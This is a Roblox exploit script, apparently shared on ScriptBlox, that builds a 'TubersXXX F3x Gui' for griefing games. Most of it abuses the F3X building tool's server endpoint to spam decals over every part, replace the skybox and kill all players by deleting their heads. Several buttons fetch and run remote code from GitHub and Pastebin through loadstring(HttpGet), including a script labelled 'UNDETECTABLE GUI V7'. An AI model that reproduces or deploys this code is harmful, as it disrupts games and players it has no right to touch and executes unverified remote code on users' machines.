
Key RequiredUniversal

--[[
WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
]]
--[[
WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
]]
-- Gui to Lua
-- Version: 3.2
-- Instances:
local ScreenGui = Instance.new("ScreenGui")
local Frame = Instance.new("Frame")
local TextLabel = Instance.new("TextLabel")
local UICorner = Instance.new("UICorner")
local UICorner_2 = Instance.new("UICorner")
local ImageLabel = Instance.new("ImageLabel")
local clicktotp = Instance.new("TextButton")
local UICorner_3 = Instance.new("UICorner")
local discomap = Instance.new("TextButton")
local UICorner_4 = Instance.new("UICorner")
local jumphigh = Instance.new("TextButton")
local UICorner_5 = Instance.new("UICorner")
local skyboxF3X = Instance.new("TextButton")
local UICorner_6 = Instance.new("UICorner")
local decalF3X = Instance.new("TextButton")
local UICorner_7 = Instance.new("UICorner")
local killallF3X = Instance.new("TextButton")
local UICorner_8 = Instance.new("UICorner")
local particles = Instance.new("TextButton")
local UICorner_9 = Instance.new("UICorner")
local theme = Instance.new("TextButton")
local UICorner_10 = Instance.new("UICorner")
local baseF3X = Instance.new("TextButton")
local UICorner_11 = Instance.new("UICorner")
local iyfe = Instance.new("TextButton")
local nameless = Instance.new("TextButton")
local n0ta4gui = Instance.new("TextButton")
local c00lguife = Instance.new("TextButton")
--Properties:
ScreenGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
Frame.Parent = ScreenGui
Frame.BackgroundColor3 = Color3.fromRGB(255, 170, 0)
Frame.BorderColor3 = Color3.fromRGB(0, 0, 0)
Frame.BorderSizePixel = 0
Frame.Position = UDim2.new(0.132428929, 0, 0.168038398, 0)
Frame.Size = UDim2.new(0, 403, 0, 375)
TextLabel.Parent = Frame
TextLabel.BackgroundColor3 = Color3.fromRGB(255, 85, 0)
TextLabel.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextLabel.BorderSizePixel = 0
TextLabel.Size = UDim2.new(0, 403, 0, 50)
TextLabel.Font = Enum.Font.Arcade
TextLabel.Text = "TubersXXX F3x Gui"
TextLabel.TextColor3 = Color3.fromRGB(0, 0, 0)
TextLabel.TextSize = 26.000
UICorner.Parent = TextLabel
UICorner_2.Parent = Frame
ImageLabel.Parent = Frame
ImageLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
ImageLabel.BorderColor3 = Color3.fromRGB(0, 0, 0)
ImageLabel.BorderSizePixel = 0
ImageLabel.Position = UDim2.new(-0.00162598863, 0, 0.130666822, 0)
ImageLabel.Size = UDim2.new(0, 402, 0, 324)
ImageLabel.Image = "rbxassetid://80502068208375"
clicktotp.Name = "clicktotp"
clicktotp.Parent = ImageLabel
clicktotp.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
clicktotp.BorderColor3 = Color3.fromRGB(0, 0, 0)
clicktotp.BorderSizePixel = 0
clicktotp.Position = UDim2.new(-0.00354381488, 0, -0.000495298416, 0)
clicktotp.Size = UDim2.new(0, 200, 0, 50)
clicktotp.Font = Enum.Font.Arcade
clicktotp.Text = "click to tp giver {fe}"
clicktotp.TextColor3 = Color3.fromRGB(0, 0, 0)
clicktotp.TextSize = 14.000
UICorner_3.Parent = clicktotp
discomap.Name = "discomap"
discomap.Parent = ImageLabel
discomap.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
discomap.BorderColor3 = Color3.fromRGB(0, 0, 0)
discomap.BorderSizePixel = 0
discomap.Position = UDim2.new(0.0014556041, 0, 0.166999534, 0)
discomap.Size = UDim2.new(0, 198, 0, 46)
discomap.Font = Enum.Font.Arcade
discomap.Text = "disco map {cilent}"
discomap.TextColor3 = Color3.fromRGB(0, 0, 0)
discomap.TextSize = 14.000
UICorner_4.Parent = discomap
jumphigh.Name = "jumphigh"
jumphigh.Parent = ImageLabel
jumphigh.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
jumphigh.BorderColor3 = Color3.fromRGB(0, 0, 0)
jumphigh.BorderSizePixel = 0
jumphigh.Position = UDim2.new(-0.0043668123, 0, 0.648481011, 0)
jumphigh.Size = UDim2.new(0, 198, 0, 46)
jumphigh.Font = Enum.Font.Arcade
jumphigh.Text = "jump high {fe}"
jumphigh.TextColor3 = Color3.fromRGB(0, 0, 0)
jumphigh.TextSize = 14.000
UICorner_5.Parent = jumphigh
skyboxF3X.Name = "skyboxF3X"
skyboxF3X.Parent = ImageLabel
skyboxF3X.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
skyboxF3X.BorderColor3 = Color3.fromRGB(0, 0, 0)
skyboxF3X.BorderSizePixel = 0
skyboxF3X.Position = UDim2.new(0.0014556041, 0, 0.821320534, 0)
skyboxF3X.Size = UDim2.new(0, 198, 0, 46)
skyboxF3X.Font = Enum.Font.Arcade
skyboxF3X.Text = "skybox {F3X}"
skyboxF3X.TextColor3 = Color3.fromRGB(0, 0, 0)
skyboxF3X.TextSize = 14.000
UICorner_6.Parent = skyboxF3X
decalF3X.Name = "decalF3X"
decalF3X.Parent = ImageLabel
decalF3X.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
decalF3X.BorderColor3 = Color3.fromRGB(0, 0, 0)
decalF3X.BorderSizePixel = 0
decalF3X.Position = UDim2.new(0.532023251, 0, 0.648481011, 0)
decalF3X.Size = UDim2.new(0, 190, 0, 46)
decalF3X.Font = Enum.Font.Arcade
decalF3X.Text = "decalspam {F3X}"
decalF3X.TextColor3 = Color3.fromRGB(0, 0, 0)
decalF3X.TextSize = 14.000
UICorner_7.Parent = decalF3X
killallF3X.Name = "killallF3X"
killallF3X.Parent = ImageLabel
killallF3X.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
killallF3X.BorderColor3 = Color3.fromRGB(0, 0, 0)
killallF3X.BorderSizePixel = 0
killallF3X.Position = UDim2.new(0.532023251, 0, 0.472555101, 0)
killallF3X.Size = UDim2.new(0, 187, 0, 46)
killallF3X.Font = Enum.Font.Arcade
killallF3X.Text = "kill all {f3x}"
killallF3X.TextColor3 = Color3.fromRGB(0, 0, 0)
killallF3X.TextSize = 14.000
UICorner_8.Parent = killallF3X
particles.Name = "particles"
particles.Parent = ImageLabel
particles.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
particles.BorderColor3 = Color3.fromRGB(0, 0, 0)
particles.BorderSizePixel = 0
particles.Position = UDim2.new(0.0014556041, 0, 0.315147668, 0)
particles.Size = UDim2.new(0, 198, 0, 46)
particles.Font = Enum.Font.Arcade
particles.Text = "particles {client}"
particles.TextColor3 = Color3.fromRGB(0, 0, 0)
particles.TextSize = 14.000
UICorner_9.Parent = particles
theme.Name = "theme"
theme.Parent = ImageLabel
theme.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
theme.BorderColor3 = Color3.fromRGB(0, 0, 0)
theme.BorderSizePixel = 0
theme.Position = UDim2.new(-0.0342501365, 0, -0.200284421, 0)
theme.Size = UDim2.new(0, 55, 0, 27)
theme.Font = Enum.Font.Arcade
theme.Text = "theme"
theme.TextColor3 = Color3.fromRGB(0, 0, 0)
theme.TextSize = 14.000
UICorner_10.Parent = theme
baseF3X.Name = "baseF3X"
baseF3X.Parent = ImageLabel
baseF3X.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
baseF3X.BorderColor3 = Color3.fromRGB(0, 0, 0)
baseF3X.BorderSizePixel = 0
baseF3X.Position = UDim2.new(0.0014556041, 0, 0.472555101, 0)
baseF3X.Size = UDim2.new(0, 198, 0, 46)
baseF3X.Font = Enum.Font.Arcade
baseF3X.Text = "add baseplate {F3X}"
baseF3X.TextColor3 = Color3.fromRGB(0, 0, 0)
baseF3X.TextSize = 14.000
UICorner_11.Parent = baseF3X
iyfe.Name = "iyfe"
iyfe.Parent = ImageLabel
iyfe.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
iyfe.BorderColor3 = Color3.fromRGB(0, 0, 0)
iyfe.BorderSizePixel = 0
iyfe.Position = UDim2.new(0.532023251, 0, 0.324406952, 0)
iyfe.Size = UDim2.new(0, 187, 0, 43)
iyfe.Font = Enum.Font.Arcade
iyfe.Text = "infinite yield FE"
iyfe.TextColor3 = Color3.fromRGB(0, 0, 0)
iyfe.TextSize = 14.000
iyfe.MouseButton1Down:Connect(function()
loadstring(game:HttpGet(('https://raw.githubusercontent.com/EdgeIY/infiniteyield/master/source'),true))()
end)
nameless.Name = "nameless"
nameless.Parent = ImageLabel
nameless.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
nameless.BorderColor3 = Color3.fromRGB(0, 0, 0)
nameless.BorderSizePixel = 0
nameless.Position = UDim2.new(0.532023251, 0, 0.17317237, 0)
nameless.Size = UDim2.new(0, 189, 0, 44)
nameless.Font = Enum.Font.Arcade
nameless.Text = "nameless admin"
nameless.TextColor3 = Color3.fromRGB(0, 0, 0)
nameless.TextSize = 14.000
nameless.MouseButton1Down:Connect(function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/ltseverydayyou/Nameless-Admin/main/Source"))()
end)
n0ta4gui.Name = "n0ta4gui"
n0ta4gui.Parent = ImageLabel
n0ta4gui.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
n0ta4gui.BorderColor3 = Color3.fromRGB(0, 0, 0)
n0ta4gui.BorderSizePixel = 0
n0ta4gui.Position = UDim2.new(0.532023251, 0, 0.00881967414, 0)
n0ta4gui.Size = UDim2.new(0, 189, 0, 42)
n0ta4gui.Font = Enum.Font.Arcade
n0ta4gui.Text = "n0ta4gui"
n0ta4gui.TextColor3 = Color3.fromRGB(0, 0, 0)
n0ta4gui.TextSize = 14.000
n0ta4gui.MouseButton1Down:Connect(function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/pedroluckygod/Yes/main/UNDETECTABLE%20GUI%20V7"))()
end)
c00lguife.Name = "c00lgui fe"
c00lguife.Parent = ImageLabel
c00lguife.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
c00lguife.BorderColor3 = Color3.fromRGB(0, 0, 0)
c00lguife.BorderSizePixel = 0
c00lguife.Position = UDim2.new(0.524560571, 0, 0.821320534, 0)
c00lguife.Size = UDim2.new(0, 190, 0, 46)
c00lguife.Font = Enum.Font.Arcade
c00lguife.Text = "C00lgui fe"
c00lguife.TextColor3 = Color3.fromRGB(0, 0, 0)
c00lguife.TextSize = 14.000
c00lguife.MouseButton1Down:Connect(function()
loadstring(game:HttpGet("https://pastebin.com/raw/F5HQERvn"))()
end)
-- Scripts:
local function BDPSI_fake_script() -- ScreenGui.notalso
local script = Instance.new('LocalScript', ScreenGui)
game.StarterGui:SetCore("SendNotification", {
Title = "also the gui is fe and works on all games but except f3x scripts in there"; -- title
Text = "script by GoofyUserAh/me"; --description
Icon = "rbxassetid://13333189485"; --icon
Duration = "5"; -- how long its on screen
})
end
coroutine.wrap(BDPSI_fake_script)()
local function TMBYJG_fake_script() -- ScreenGui.notifactionnote
local script = Instance.new('LocalScript', ScreenGui)
game.StarterGui:SetCore("SendNotification", {
Title = "note:"; -- title
Text = "remember these scripts are fe but only disco map and particles and theme are client"; --description
Icon = "rbxassetid://13333189485"; --icon
Duration = "5"; -- how long its on screen
})
end
coroutine.wrap(TMBYJG_fake_script)()
local function GPHVAMJ_fake_script() -- clicktotp.LocalScript
local script = Instance.new('LocalScript', clicktotp)
script.Parent.MouseButton1Click:Connect(function()
mouse = game.Players.LocalPlayer:GetMouse()
tool = Instance.new("Tool")
tool.RequiresHandle = false
tool.Name = "Click Teleport"
tool.Activated:connect(function()
local pos = mouse.Hit+Vector3.new(0,2.5,0)
pos = CFrame.new(pos.X,pos.Y,pos.Z)
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = pos
end)
tool.Parent = game.Players.LocalPlayer.Backpack
end)
end
coroutine.wrap(GPHVAMJ_fake_script)()
local function AAWBWB_fake_script() -- discomap.Script
local script = Instance.new('Script', discomap)
script.Parent.MouseButton1Down:Connect(function()
while wait(0000000.1) do
for i,v in pairs(workspace:GetDescendants()) do
if v:IsA("BasePart") then
local meshes = {"Brick","Cylinder","Head","Sphere","Torso","Wedge"}
local mesh = Instance.new("SpecialMesh",v)
mesh.MeshType = meshes[math.random(1,#meshes)]
end
end
for i,fee in pairs(workspace:GetDescendants()) do
if fee:IsA("BasePart") then
fee.BrickColor = BrickColor.random()
end
end
end
end)
end
coroutine.wrap(AAWBWB_fake_script)()
local function YXDIGIJ_fake_script() -- jumphigh.LocalScript
local script = Instance.new('LocalScript', jumphigh)
script.Parent.MouseButton1Click:Connect(function()
local fly = false
local plr = game.Players.LocalPlayer
local mouse = plr:GetMouse()
if fly == false then
fly = true
if fly == true then
plr.Character.HumanoidRootPart.Velocity = workspace.CurrentCamera.CFrame.LookVector*-35 + Vector3.new(0,100,0)
end
end
end)
end
coroutine.wrap(YXDIGIJ_fake_script)()
local function PYOF_fake_script() -- skyboxF3X.LocalScript
local script = Instance.new('LocalScript', skyboxF3X)
script.Parent.MouseButton1Down:Connect(function()
--rgrg
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function Sky(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
--spawn(function()
SetName(v,"Sky")
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,"8006679977")
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(50,50,50))
SetLocked(v,true)
end
end
end
Sky("80502068208375")
end)
end
coroutine.wrap(PYOF_fake_script)()
local function QMLOA_fake_script() -- decalF3X.LocalScript
local script = Instance.new('LocalScript', decalF3X)
script.Parent.MouseButton1Down:Connect(function()
--rgrg
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam("80502068208375")
end)
end
coroutine.wrap(QMLOA_fake_script)()
local function SJHM_fake_script() -- killallF3X.LocalScript
local script = Instance.new('LocalScript', killallF3X)
script.Parent.MouseButton1Down:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function KillAll()
for i,v in game.Players:GetPlayers() do
spawn(function()
SetLocked(v.Character.Head,false)
DestroyPart(v.Character.Head)
end)
end
end
KillAll()
end)
end
coroutine.wrap(SJHM_fake_script)()
local function FLOM_fake_script() -- particles.Script
local script = Instance.new('Script', particles)
script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game.Players:GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=80502068208375"
emit.VelocitySpread = 10000000000
end
end)
end
coroutine.wrap(FLOM_fake_script)()
local function QBHI_fake_script() -- theme.Script
local script = Instance.new('Script', theme)
function onClick()
local tubers93 = Instance.new("Sound")
tubers93.Parent = game:GetService("Workspace")
tubers93.SoundId = "rbxassetid://1847661783"
tubers93.Playing = true
tubers93.Looped = true
tubers93.Pitch = 1
tubers93.Volume = 10
end
script.Parent.MouseButton1Down:connect(onClick)
end
coroutine.wrap(QBHI_fake_script)()
local function YEPXVI_fake_script() -- baseF3X.LocalScript
local script = Instance.new('LocalScript', baseF3X)
script.Parent.MouseButton1Down:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function KillAll()
for i,v in game.Players:GetPlayers() do
spawn(function()
SetLocked(v.Character.Head,false)
DestroyPart(v.Character.Head)
end)
end
end
KillAll()
end)
end
coroutine.wrap(YEPXVI_fake_script)()
local function HEMBV_fake_script() -- Frame.DraggableGUI
local script = Instance.new('LocalScript', Frame)
local UIS = game:GetService('UserInputService')
local frame = script.Parent
local dragToggle = nil
local dragSpeed = 0.25
local dragStart = nil
local startPos = nil
local function updateInput(input)
local delta = input.Position - dragStart
local position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X,
startPos.Y.Scale, startPos.Y.Offset + delta.Y)
game:GetService('TweenService'):Create(frame, TweenInfo.new(dragSpeed), {Position = position}):Play()
end
frame.InputBegan:Connect(function(input)
if (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then
dragToggle = true
dragStart = input.Position
startPos = frame.Position
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragToggle = false
end
end)
end
end)
UIS.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
if dragToggle then
updateInput(input)
end
end
end)
end
coroutine.wrap(HEMBV_fake_script)()
local function RHCJW_fake_script() -- ScreenGui.notfication
local script = Instance.new('LocalScript', ScreenGui)
game.StarterGui:SetCore("SendNotification", {
Title = "enjoy trolling!"; -- title
Text = "script by GoofyUserAh/me"; --description
Icon = "rbxassetid://13333189485"; --icon
Duration = "5"; -- how long its on screen
})
end
coroutine.wrap(RHCJW_fake_script)()
local function TJSX_fake_script() -- ScreenGui.notifactionnoteF3X
local script = Instance.new('LocalScript', ScreenGui)
game.StarterGui:SetCore("SendNotification", {
Title = "note 2:"; -- title
Text = "join f3x games if you want to try f3x scripts in this gui"; --description
Icon = "rbxassetid://13333189485"; --icon
Duration = "5"; -- how long its on screen
})
end
coroutine.wrap(TJSX_fake_script)()



